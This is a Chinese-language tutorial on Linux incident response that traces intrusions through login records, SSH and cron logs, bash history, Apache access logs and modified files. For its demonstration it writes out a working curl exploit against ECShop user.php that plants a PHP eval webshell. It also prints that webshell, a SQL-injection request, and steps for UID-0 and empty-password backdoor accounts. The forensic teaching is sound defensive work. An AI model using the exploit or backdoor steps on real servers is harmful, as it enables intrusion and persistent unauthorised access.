Linux 应急响应-溯源-系统日志排查

Linux 应急响应-溯源-系统日志排查

    • 1.1 查看当前已经登录到系统的用户
    • 1.2 查看所有用户最近一次登录
    • 1.3 查看历史登录用户以及登录失败的用户
      • last 查看
        • 查看最近 5 个登录的用户。
        • -a 参数把 ip 列放在最后一行
        • -d ip 地址转换为主机名。
        • 对登录系统的用户和 ip 进行排序计数。
        • lastb 查看所有登录记录包含失败。
        • 登录失败的请求更重要的是 ip 地址信息,所以我们只取 ip 地址进行统计。
    • 1.4 SSH 登录日志分析
      • 通过通配符查看所有 secure 文件中登录失败的记录。
      • 取出第九列和第十一列。
      • 过滤用户名+登录失败的 IP
      • 查看登录成功的 ip
    • 1.5 查看系统历史命令
      • 查看当前用户的历史命令:
      • 常用系统日志说明
    • 1.6 计划任务日志
      • 查看所有执行过的计划任务。
      • 查看所有用户的计划任务
    • 1.7 检查系统用户
      • 1、修改用户 UID 为 0,伪装成 root 用户
      • 2、使用空口令账户登录 Linux 系统
    • 1.8 中间件日志
      • 查询访问网站次数最多的 10 个 IP 地址。
      • 查看访问最多的 URI
      • 查看服务哪个时间段访问量最高。
      • 通过日志可快速定位到攻击者 ip 地址,攻击发起的时间,过滤出由攻击者 IP 发起的所有请求即可还
    • 1.9 通过时间检查站点被黑客修改过的文件
      • 检查最近 1 天内被修改过的文件。
      • stat 命令可以查看文件详细信息。
      • 把 webshell 和日志中入侵记录关联起来。
      • 批量查找写入 webshell 的日志。
      • 查询所有访问一句话木马的日志。
      • 查询 IP 归属
      • 查看该 ip 所有的记录
    • 1.10 检查服务器已经建立的网络连接
      • 查看已经建立连接的会话。
      • 检查黑客开放了哪些监听端口

1.1 查看当前已经登录到系统的用户

w 是一个命令行工具,它可以展示当前登录用户信息,并且每个用户正在做什么。它同时展示以下信
息:系统已经运行多长时间,当前时间,和系统负载。

[root@xuegod63 ~] w 
 10:45:27 up 3 min, 1 user, load average: 0.19, 0.22, 0.10 
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 
root pts/0 123.113.242.67 10:44 7.00s 0.00s 0.00s w 

第一行展示的信息和 uptime 命令运行结果一样。它包含了下列信息:
10:45:27 系统当前时间
up 3 min 系统上线时间
1 user 登录用户数目
load average: 0.19, 0.22, 0.10 - 过去 1 分钟,5 分钟和 15 分钟内,系统负载平均值。这个值
是对正在运行或者等待磁盘 I/O 操作的任务数目的一个考量。它基本上是告诉你过去的一段时间,系统
有多忙?

第二行包括以下信息:

USER - 登录用户名 
TTY - 登录用户使用的终端名称 
FROM - 来自登录用户的主机名或者 IP 
LOGIN@ - 用户登录时间 
IDLE - 从用户上次和终端交互到现在的时间,即空闲时间 
JCPU - 依附于 tty 的所有进程的使用时间 
PCPU - 用户当前进程的使用时间。当前进程名称显示在 WHAT 
WHAT - 用户当前进程和选项、参数 

1.2 查看所有用户最近一次登录

lastlog 命令 用于显示系统中所有用户最近一次登录信息。
lastlog 文件在每次有用户登录时被查询。可以使用 lastlog 命令检查某特定用户上次登录的时间,
并格式化输出上次登录日志/var/log/lastlog 的内容。它根据 UID 排序显示登录名、端口号(tty)和上
次登录时间
。如果一个用户从未登录过,lastlog 显示Never logged

注意需要以 root 身份运行该命令。

[root@xuegod63 ~] lastlog
 
Username Port From Latest 
root pts/0 123.113.242.67 Wed Sep 8 10:44:05 +0800 2021 
bin **Never logged in** 
daemon **Never logged in** 
adm **Never logged in** 
lp **Never logged in** 
ecshop pts/12 123.113.246.37 Fri Aug 13 22:36:40 +0800 2021 
dedecms pts/16 183.11.73.143 Fri Aug 13 21:38:47 +0800 2021 
discuzml pts/8 112.42.32.244 Fri Aug 13 21:55:04 +0800 2021 
discuzx pts/8 112.42.32.244 Fri Aug 13 22:04:52 +0800 2021 

但是记录中会有很多未登录的用户,可以通过 grep -v 命令进行过滤,不显示没有登录过的用户。

[root@xuegod63 ~] lastlog |grep -v "Never logged in" 

Username Port From Latest 
root pts/0 123.113.242.67 Wed Sep 8 10:44:05 +0800 2021 
ecshop pts/12 123.113.246.37 Fri Aug 13 22:36:40 +0800 2021 
dedecms pts/16 183.11.73.143 Fri Aug 13 21:38:47 +0800 2021 
discuzml pts/8 112.42.32.244 Fri Aug 13 21:55:04 +0800 2021 
discuzx pts/8 112.42.32.244 Fri Aug 13 22:04:52 +0800 2021 

1.3 查看历史登录用户以及登录失败的用户

last 可以查看所有成功登录到系统的用户记录,lastb 查看登录成功和失败的用户记录。

单独执行 last 指令时,它会读取位于/var/log/wtmp 的文件,并把该给文件的内容记录的登录系统
的用户名单全部显示出来。

last 查看

[root@xuegod63 ~] last 

root pts/7 183.198.217.75 Fri Aug 13 20:32 gone - no logout 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:32 (00:00) 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:31 (00:00) 

…省略大量记录

查看最近 5 个登录的用户。
[root@xuegod63 ~] last -n 5 

root pts/7 183.198.217.75 Fri Aug 13 20:32 gone - no logout 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:32 (00:00) 
root pts/6 183.198.217.75 Fri Aug 13 20:31 - 20:31 (00:00) 
root pts/10 59.41.69.140 Fri Aug 13 20:29 gone - no logout 
root pts/9 59.41.68.92 Fri Aug 13 20:29 gone - no logout 
-a 参数把 ip 列放在最后一行
[root@xuegod63 ~] last -a -n 5  

root pts/7 Fri Aug 13 20:32 gone - no logout 183.198.217.75 
root pts/6 Fri Aug 13 20:31 - 20:32 (00:00) 183.198.217.75 
root pts/6 Fri Aug 13 20:31 - 20:31 (00:00) 183.198.217.75 
root pts/10 Fri Aug 13 20:29 gone - no logout 59.41.69.140 
root pts/9 Fri Aug 13 20:29 gone - no logout 59.41.68.92 
-d ip 地址转换为主机名。

该参数可以获取登录到系统的用户所使用的的主机名,如果目标适用的vps 服务器绑定了域名,该参数有可能获取到目标域名。

[root@xuegod63 ~] last -a -d |awk -F' ' '{print $1 "\t" $NF}' 

root 6.14.95.218.broad.gz.jx.dynamic.163data.com.cn 
root 10.45.136.117.static.js.chinamobile.com 
root 6.14.95.218.broad.gz.jx.dynamic.163data.com.cn 

以上地址是阿里云保留地址。

注:awk 命令可以帮我们取出我们想要的列,-F 指定分隔符,每列之间使用空格分隔,print 打印 $1 第一列 $NF 打印最后一列
"\t"添加 tab 符分隔,一般是 4 个空格。

对登录系统的用户和 ip 进行排序计数。

这里去掉-d 参数,因为找不到主机名的地址会显示 error.arpa

[root@xuegod63 ~] last -a |awk -F' ' '{ print $1 "\t" $NF}' |sort |uniq -c |sort -nr 

 16 root 123.113.246.37 
 10 reboot 3.10.0-1160.11.1.el7.x86_64 
 6 root 183.198.217.75 
 2 root 59.41.68.92 
 2 root 47.241.121.65 
 2 root 218.95.14.6 
 2 root 117.136.45.10 

sort 会将文本进行排序
默认排序会把一样的行都排到一起。
Linux 应急响应-溯源-系统日志排查_第1张图片

uniq -c 计数
Linux 应急响应-溯源-系统日志排查_第2张图片
sort -nr 排序 -nr 倒序 -n 正序
Linux 应急响应-溯源-系统日志排查_第3张图片

lastb 查看所有登录记录包含失败。
[root@xuegod63 ~] lastb -a |awk -F' ' '{ print $1 "\t" $NF}' |sort |uniq -c |sort -nr

Linux 应急响应-溯源-系统日志排查_第4张图片

登录失败的请求更重要的是 ip 地址信息,所以我们只取 ip 地址进行统计。
[root@xuegod63 ~] lastb -a |awk '{print $NF}' |sort |uniq -c |sort -nr 

Linux 应急响应-溯源-系统日志排查_第5张图片

1.4 SSH 登录日志分析

系统用户登录都会在/var/log/secure 日志文件中记录。但是这个日志文件会被系统自动分割。

ll -ld /var/log/secure* 
[root@xuegod63 ~] ll -ld /var/log/secure* 

-rw------- 1 root root 440 Sep 8 11:55 /var/log/secure 
-rw-------. 1 root root 1 Aug 13 11:43 /var/log/secure-20210813 
-rw------- 1 root root 98166 Sep 8 11:49 /var/log/secure-20210908 

通过通配符查看所有 secure 文件中登录失败的记录。

[root@xuegod63 ~] grep Failed /var/log/secure*

Linux 应急响应-溯源-系统日志排查_第6张图片

取出第九列和第十一列。

[root@xuegod63 ~] grep Failed /var/log/secure* |awk -F' ' '{print $9 "\t" $11}' 

Linux 应急响应-溯源-系统日志排查_第7张图片
但是这里有一些意料之外的记录,这是攻击者错误配置登录导致的。可以通过 grep -v 去掉这些记
录。但是这种乱搞的人的 ip 地址我们要单独关注一下。

[root@xuegod63 ~] grep Failed /var/log/secure* |grep invalid |awk -F' ' '{print $13}' 
124.88.182.50 
124.88.182.50 
124.88.182.50 
112.42.32.244 

过滤用户名+登录失败的 IP

[root@xuegod63 ~] grep Failed /var/log/secure* |grep -v "invalid"|grep -v "release" 
|awk -F' ' '{print $9 "\t" $11}' |sort |uniq -c | sort -nr 

Linux 应急响应-溯源-系统日志排查_第8张图片

查看登录成功的 ip

[root@xuegod63 ~] grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq 
-c | sort -nr | more 

Linux 应急响应-溯源-系统日志排查_第9张图片

1.5 查看系统历史命令

系统历史命令一般保存在用户家目录下.bash_history 文件中

[root@xuegod63 ~] find / -name .bash_history 

/home/admin/.bash_history 
/home/ecshop/.bash_history 
/home/www/.bash_history 
/home/discuzx/.bash_history 
/home/discuzml/.bash_history 
/home/dedecms/.bash_history 
/root/.bash_history 

查看当前用户的历史命令:

[root@xuegod63 ~]# history
Linux 应急响应-溯源-系统日志排查_第10张图片
历史命令会很多使用的时候多配合其他命令一起使用,比如 more 或 grep。如果某个用户被黑客
登录过了就一定要查看该用户的所有历史命令信息。重点关注黑客修改了了哪些文件。

另外默认的历史命令中仅仅记录历史命令,并不会记录额外的信息帮助我们分析。

自定义历史命令输出格式:添加一下配置到/etc/profile

[root@xuegod63 ~] vim /etc/profile #追加以下内容 
#记录登陆者 IP 地址 who 命令可以查看当前登录信息。 
USER_IP=`who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'` 
#日志文件存放路径。 
HISTDIR=/var/log/history 
#设置日期 
DT=`date +%Y-%m-%d` 
 
#判断用户 IP 地址如果不存在或者为.则用户 IP 用本机主机名代替。 
if [ -z $USER_IP ] 
then 
USER_IP=`hostname` 
fi 
pdf="." 
if [[ ! $USER_IP == *${pdf}* ]] 
then 
USER_IP=`hostname` 
fi 
 
#判断日志文件路径是否存在,如果不存在则创建并添加权限。 
if [ ! -d $HISTDIR ] 
then 
mkdir -p $HISTDIR 
chmod 773 $HISTDIR 
fi 
 
#创建对应日期的日志文件 
if [ ! -d $HISTDIR/${DT} ] 
then 
mkdir -p $HISTDIR/${DT} 
chmod 773 $HISTDIR/${DT} 
fi 
 
 
#指定日志存放数量的总数 
export HISTFILESIZE=10000 
#配置 history 命令输出的总数 
export HISTSIZE=10000 
#配置文件具体时间 
DT2=`date +%Y%m%d_%H:%M:%S` 
#拼接文件名/var/log/history/日期 2021-09-08 /当前用户名@用户 ip_当前时间 
#DT1 是日期 DT2 是准确到秒的准确时间。 
export HISTFILE="$HISTDIR/${DT}/${LOGNAME}@${USER_IP}_$DT2" 
#设置历史命令中的时间戳,history 命令有效,文件中显示时间戳。
export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S $" 

重新加载配置文件。

[root@xuegod63 ~] source /etc/profile 

查看历史命令,已经带了时间戳信息。

[root@xuegod63 ~] history 5 
 609 2021-09-08 15:18:58 $su - dedecms 
 610 2021-09-08 15:51:08 $vim /etc/profile 
 611 2021-09-08 15:51:14 $source /etc/profile 
 612 2021-09-08 15:51:15 $history 
 613 2021-09-08 15:51:57 $history 5 

将本次登录的命令写入命令历史文件中,命令不是使用了就立即写入到文件中的,会现在缓存中,用
户退出登录时会自动写入文件,-w 命令可以立即写入,-c 命令可以清除当前缓存中的命令。

[root@xuegod63 ~] history -w 

查看文件信息

[root@xuegod63 ~] ll /var/log/history/2021-09-08/root\@123.113.242.67_20210908_15\:51\:14 
-rw------- 1 root root 18147 Sep 8 15:52 /var/log/history/2021-09-08/[email protected]_20210908_15:51:14 

文件名中记录了用户名-ip-时间。文件内容中记录了详细的命令以及命令执行的时间戳。

[root@xuegod63 ~] tail -f /var/log/history/2021-09-08/root\@123.113.242.67_20210908_15\:51\:14 

常用系统日志说明

日志目录 作用

/var/log/message 包括整体系统信息 
/var/log/auth.log 包含系统授权信息,包括用户登录和使用的权限机制等 
/var/log/userlog 记录所有等级用户信息的日志 
/var/log/cron 记录 crontab 命令是否被正确的执行 
/var/log/vsftpd.log 记录 Linux FTP 日志 
/var/log/lastlog 记录登录的用户,可以使用命令 lastlog 查看 
/var/log/secure 记录大多数应用输入的账号与密码,登录成功与否 
/var/log/wtmp 记录登录系统成功的账户信息,等同于命令 last 
/var/log/btmp 记录记录的登入系统失败的用户名单,等同于命令 lastb 
/var/log/faillog 记录登录系统不成功的账号信息,一般会被黑客删除 

1.6 计划任务日志

所有执行过的计划任务都会存在在/var/log/cron 文件中。

查看所有执行过的计划任务。

[root@xuegod63 ~] cat /var/log/cron* |awk -F':' '{print $NF}' |grep CMD |sort|uniq -c |sort -rn 

查看所有用户的计划任务

[root@xuegod63 ~]# cat /etc/passwd | cut -f 1 -d : |xargs -i crontab -l -u {} 

也可以直接查看/var/spool/cron/下的文件内容,所有用户级别的计划任务,都在这里有文件

[root@xuegod63 log] ls /var/spool/cron/ 
root 
[root@xuegod63 log] cat /var/spool/cron/root 

以上是用户级别的系统任务。系统级别的计划任务只能排查配置文件中的内容。

[root@xuegod63 log] find /etc/cron* -type f #查看系统级别的计划任务文件名 
/etc/cron.d/0hourly 
/etc/cron.d/sysstat 
/etc/cron.daily/mlocate 
/etc/cron.daily/logrotate 
/etc/cron.daily/man-db.cron 
/etc/cron.deny 
/etc/cron.hourly/0anacron 
/etc/crontab 

1.7 检查系统用户

Linux 系统用户主要存放于/etc/passwd 文件和/etc/shadow 文件中当然还有一个组文件
/etc/group。

[root@xuegod63 ~] head -n 1 /etc/passwd 
root:x:0:0:root:/root:/bin/bash 

注:/etc/passwd 文件存放的是用户的信息,由 6 个分号组成的 7 个信息,解释如下

(1):用户名。 
(2):密码(已经加密) 
(3):UID(用户标识),操作系统自己用的 
(4):GID 组标识。 
(5):用户全名或本地帐号 
(6):开始目录 
(7):登录使用的 Shell,就是对登录命令进行解析的工具。 

重点在于 UID 和 GID,root 用户的用户表示为 0,如果一个普通用户的 UID 修改为 0,那么这个用 户就成为了 root用户。

1、修改用户 UID 为 0,伪装成 root 用户

[root@xuegod63 ~] useradd xuegod #新增用户的信息。 
[root@xuegod63 ~] tail -n 1 /etc/passwd 
xuegod:x:1000:1000::/home/xuegod:/bin/bash 
[root@xuegod63 ~] vim /etc/passwd 
xuegod:x:0:1000::/home/xuegod:/bin/bash 

查看用户身份,用户名还是 xuegod,用户身份已经识别为 root。

[root@xuegod63 ~] id 
uid=0(root) gid=1000(xuegod) groups=1000(xuegod) 

此时 xuegod 用户拥有 root 用户所有权限。
查找用户 uid=0 的用户

[root@xuegod63 ~] awk -F: '$3==0 {print $1}' /etc/passwd 
root 
xuegod 

2、使用空口令账户登录 Linux 系统

正常情况,没有密码,用户是登录不了 linux 的。下面模拟黑客以空口令方式登录系统。
(1)、设置 sshd 服务允许空口令帐号登录系统

[root@xuegod63 ~] vim /etc/ssh/sshd_config 
改:#PermitEmptyPasswords no 
为:PermitEmptyPasswords yes 
[root@xuegod63 ~] systemctl restart sshd 

(2)、创建空口令帐号

[root@xuegod63 ~] useradd test 
[root@xuegod63 ~] passwd test 
[root@xuegod63 ~] vim /etc/shadow #删除 test 密码信息,test 就成为空口令用户 
改: 
test:$6$GGylrTxY$evNbwbgNDb8/5XF.9fjgrSm7fNWd1MLFh64WPqtzed8Fcl.tUmeep3O.LveE5QO9w4xC25hHJXh11kspaU5Oe1:18894:0:99999:7::: 
为:test: :18894:0:99999:7::: 

(3)、测试空口令用户登录系统

[root@xuegod63 ~] ssh [email protected] #直接回车就可以登录成功,不用输入密码 
[test@xuegod63 ~]$ 

1.8 中间件日志

这里以实际靶场中的日志给大家分析,通常日志文件在/var/log/httpd/access_log 目录下。具体
可以看 apache 服务的配置文件中指定的日志文件路径。

Apache 日志字段说明: 
字段名称 描述 
远程主机 IP 表明是谁访问了网站 
空白(E-mail) 为了避免用户的邮箱被垃圾邮件骚扰,第二项就用“-”取代了 
空白(登录名) 用于记录浏览者进行身份验证时提供的名字 
请求时间 用方括号包围,而且采用“公用日志格式”或者“标准英文格式”。 时间
信息最后的“+0800”表示服务器所处时区位于 UTC 之后的 8 小时 
方法 请求的方式:METHOD、GET、POST、HEAD 等 
资源 请求的文件 
协议 请求的协议:HTTP+版本号 
状态码 请求的状态码 
发送的字节数 表示发送给客户端的总字节数。它告诉我们传输是否被打断(该数值是否
和文件的大小相同) 
Referer 从哪个页面链接过来的 
User-Agent 使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、
浏览器语言、浏览器插件等信息。 
[root@xuegod63 ~] cat /www/wwwlogs/access_log |less 

Linux 应急响应-溯源-系统日志排查_第11张图片

日志分析的痛点:只能看到 GET 请求的请求操作,POST 请求看不到对服务器提交的内容

查询访问网站次数最多的 10 个 IP 地址。

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 1 -d ' '|sort|uniq -c|sort -nr|head -10 

Linux 应急响应-溯源-系统日志排查_第12张图片

查看访问最多的 URI

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 7 -d ' '|sort|uniq -c|sort -nr|head -10 

Linux 应急响应-溯源-系统日志排查_第13张图片

查看服务哪个时间段访问量最高。

[root@xuegod63 ~] cat /www/wwwlogs/access_log |cut -f 4 -d ' '|sort|uniq -c|sort -nr|head -10 

Linux 应急响应-溯源-系统日志排查_第14张图片

查看日志中存在 select 的请求,如果站点存在 GET 类型的 SQL 注入,可以通过 SQL 语句中的关键
词筛选。这里仅举例,其他关键字自行替换。下面为 DVWA 测试数据。

[root@xuegod63 ~]# grep select /www/wwwlogs/access_log 
120.244.60.57 - - [08/Sep/2021:16:19:02 +0800] "GET /DVWAmaster/vulnerabilities/sqli/?id=13213%27union+select+1%2C2%2C3+--+%2B&Submit=Submit HTTP/1.1" 200 72 "http://xxx.xxx.xxx.xxx/DVWAmaster/vulnerabilities/sqli/"
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" 

通过日志可快速定位到攻击者 ip 地址,攻击发起的时间,过滤出由攻击者 IP 发起的所有请求即可还

原该用户的所有请求记录。

[root@xuegod63 log] grep "120.244.60.57" /www/wwwlogs/access_log 

Linux 应急响应-溯源-系统日志排查_第15张图片

1.9 通过时间检查站点被黑客修改过的文件

通过文件的创建修改时间来分析这个期间黑客修改了哪些内容。下面用 Webshell 和日志来演示,方
法对于黑客在服务器上留下后门程序是一样的,只是 webshell 的检查范围只有站点资源文件。
这里我们模拟测试数据对 ecshop 站点写入 webshell。

[root@xuegod63 ~] curl http://ecshop.xueshenit.com/user.php -d 
"action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5z
cHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" -H 
'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 
1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2
f286261736536345f6465636f646528275a585a686243676b5831425055315262646e567362
6e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' 
union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a' 

此时 webshell 已经写入到服务器。这里我们可以通过新文件的创建日期来判断入侵时间,得到入侵
时间之后我们可以关注一下这个时间段的服务器日志。 相反如果我们在日志中找到了入侵时间,也可
以根据时间范围来查找黑客修改了哪些文件。

检查最近 1 天内被修改过的文件。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime -1 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
/www/wwwroot/ecshop.xueshenit.com/temp/query_caches/sqlcache_config_file_6bb9
6e533c71059dc72d724582e8a24b.php 
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/user_passport.dwt.php
/www/wwwroot/ecshop.xueshenit.com/temp/compiled/goto_ecmoban.lbi.php 

/www/wwwroot/ecshop.xueshenit.com/temp/compiled/goto_ecmoban.lbi.php

find -name "*.php" 查找*.php 文件。 
-mtime -1 查找最近 1 天内被修改过的文件。 
注:0 表示 24 小时内修改过的,1 表示昨天修改过的,2 表示前天修改过的。这是个单独的日期,
想要指定 3 天之前到现在被修改过的文件则需要指定-3 
查看 30 天内修改过的文件示例:-mtime -30 
Linux 文件有 3 个时间属性 
atime access time 访问时间 文件中的数据库最后被访问的时间 
mtime modify time 修改时间 文件内容被修改的最后时间 
ctime change time 变化时间 文件的元数据发生变化。比如权限,所有者等 

stat 命令可以查看文件详细信息。

[root@xuegod63 ~]# stat /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
 File: ‘/www/wwwroot/ecshop.xueshenit.com/vulnspy.php’ 
 Size: 31 Blocks: 8 IO Block: 4096 regular file 
Device: fd01h/64769d Inode: 535716 Links: 1 
Access: (0644/-rw-r--r--) Uid: ( 1001/ www) Gid: ( 1001/ www) 
Access: 2021-09-14 15:16:21.579827018 +0800 
Modify: 2021-09-14 15:16:17.217656461 +0800 
Change: 2021-09-14 15:16:17.217656461 +0800 
 Birth: - 

但是 ls 命令默认查看的日期格式是英文的,如果想修改为 2021-09-14 这样的格式需要进行修改。

[root@xuegod63 ~] echo "export TIME_STYLE='+%Y/%m/%d %H:%M:%S'" >> /etc/profile 
[root@xuegod63 ~] source /etc/profile 
 
[root@xuegod63 ~] ll /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
-rw-r--r-- 1 www www 31 2021/09/14 15:16:17 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 

分析结果,一共找到 4 个 24 小时内修改过的文件,但是有 3 个文件是 temp 临时目录下的,所以可
能是系统运行所产生的临时文件。
查看文件内容:

[root@xuegod63 ~] cat /www/wwwroot/ecshop.xueshenit.com/vulnspy.php 
<?php eval($_REQUEST[vulnspy]); 

如果站点中修改的文件过多可以 find 时进行过滤。常见的过滤规则 eval system 一句话常用的关键
词进行过滤即可。有时先找到马之后分析这个马的关键词进行过滤,比如通过 D 盾检测 webshell。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php:<?php eval($_REQUEST[vulnspy]); 

xargs 可以把前面 find 命令的输出传递给后面的命令。

多个关键词可以在 grep 条件中添加,添加方式如下:|或 需要\转义。
grep “eval|system”

把 webshell 和日志中入侵记录关联起来。

[root@xuegod63 ~]# find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l 
-rw-r--r-- 1 www www 31 2021/09/14 11:39:34 
/www/wwwroot/ecshop.xueshenit.com/vulnspy.php 

通过日期可以定位到日志中的操作。

[root@xuegod63 log] grep "11:39:34" /www/wwwlogs/access_log 
47.241.121.65 - - [24/Sep/2021:11:39:34 +0800] "POST /user.php HTTP/1.1" 200 2 

可以看到攻击者通过访问 user.php 文件生成了 vulnspy.php 一句话木马,所以我们可以判定
user.php 文件存在漏洞。修复方案可以到对应的官网寻找修复补丁,或者百度搜索临时解决办法。

缺点:日志中可以看到是 POST 请求,日志是不保存 POST 中的 data 数据段的,所以看不到攻击细
节,一般安全防火墙设备中会提供完整报文。

批量查找写入 webshell 的日志。

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -
mtime 0 |xargs grep "eval" |awk -F":" '{print $1}'|xargs ls -l|awk '{print $7}' |xargs -I {} grep 
{} /www/wwwlogs/access_log 
47.240.66.200 - - [14/Sep/2021:15:16:17 +0800] "POST /user.php HTTP/1.1" 200 2 

原理很简单,查找到文件之后通过 awk 取出文件名 ls -l +awk 取出文件日期,通过 grep 过滤日志
中和 webshell 相同日期的记录。

查询到攻击者 IP 以及 webshell 之后就可以筛选对应的日志。攻击者 IP 并不是只会有一个。比如下
面的地址就是使用了代理的 IP。属于境外 IP

查询所有访问一句话木马的日志。

[root@xuegod63 ~] grep "vulnspy.php" /www/wwwlogs/access_log 
23.83.225.82 - - [14/Sep/2021:17:32:28 +0800] "POST /vulnspy.php HTTP/1.1" 200 160 
23.83.225.82 - - [14/Sep/2021:17:32:35 +0800] "POST /vulnspy.php HTTP/1.1" 200 163 
23.83.225.82 - - [14/Sep/2021:17:32:36 +0800] "POST /vulnspy.php HTTP/1.1" 200 831 
23.83.225.82 - - [14/Sep/2021:17:32:41 +0800] "POST /vulnspy.php HTTP/1.1" 200 161 
23.83.225.82 - - [14/Sep/2021:17:32:46 +0800] "POST /vulnspy.php HTTP/1.1" 200 78 
 

查询 IP 归属

https://ip.fm/?ip=23.83.225.82

https://ipw.cn/ip/?ip=23.83.225.82
Linux 应急响应-溯源-系统日志排查_第16张图片

查看该 ip 所有的记录

[root@xuegod63 ~] grep "23.83.225.82" /www/wwwlogs/access_log

Linux 应急响应-溯源-系统日志排查_第17张图片
查询一定时间范围内被修改过的文件。多数情况下黑客并不是刚刚入侵到这台服务器的,有可能要追溯到很早,所以这个时候需要通过时间范围来检查系统文件。

find -mtime,这种查找的时间单位是天,怎么精确到分钟呢?或者说按照时间戳去查找?这就需要
使用"-newermt"参数

例:将/www/wwwroot/ecshop.xueshenit.com/目录下,2021-08-01 9:00 到 2021-09-15
21:00 时间段内修改或生成的文件显示出来。
该参数中的 m 其实就表示 mtime,t 表示绝对时间,那同样还存在:-newerat-newerct

[root@xuegod63 ~] find /www/wwwroot/ecshop.xueshenit.com/ -name "*.php" -newermt '2021-08-01 9:00' ! -newermt '2021-09-15 21:00' |xargs ls -l

在这里插入图片描述

1.10 检查服务器已经建立的网络连接

如果黑客已经和服务器建立了连接,可通过查看当前服务器已经建立的链接来分析恶意 ip 和进程。
Linux 中查看网络连接常用 netstat

netstat 命令参数 
-a 或--all:显示所有连线中的 Socket; 
-n 或--numeric:直接使用 ip 地址,而不通过域名服务器; 
-p 或--programs:显示正在使用 Socket 的程序识别码和程序名称; 
-t 或--tcp:显示 TCP 传输协议的连线状况; 
-u 或--udp:显示 UDP 传输协议的连线状况; 

常用语法:

[root@xuegod63 ~] netstat -anutp 

Linux 应急响应-溯源-系统日志排查_第18张图片
第一列:协议类型
第二列:接收消息队列
第三列:发送消息队列
第四列:本地 ip 和端口
第五列:远程 ip 和端口
第六列:网络连接状态
第七列:进程 pid 和进程名称

可以通过第六列筛选已经建立链接的进程。
TCP 连接状态详解:
1、LISTEN #本地服务侦听状态
2、ESTABLISHED #已经建立链接双方正在通讯状态。
3、CLOSE_WAIT #对方主动关闭连接或者网络异常导致连接中断,这时我方的状态会变成
CLOSE_WAIT 此时我方要调用 close()来使得连接正确关闭。
4、TIME_WAIT #我方主动调用 close()断开连接,收到对方确认后状态变为
TIME_WAIT。
5、SYN_SENT #半连接状态,原理同 SYN Flood 攻击,攻击者发送 SYN 后服务器端口
进入 SYN_SENT 状态等待用户返回 SYN+ACK。

查看已经建立连接的会话。

[root@xuegod63 ~] netstat -anutp |grep ESTABLISHED

在这里插入图片描述

[root@xuegod63 log] netstat -anutp |grep 22

在这里插入图片描述

[root@xuegod63 log] netstat -anutp |grep LISTEN #查看本机处于监听的服务,查看

检查黑客开放了哪些监听端口

Linux 应急响应-溯源-系统日志排查_第19张图片

你可能感兴趣的:(运维文档,网络安全专栏,linux,运维,服务器)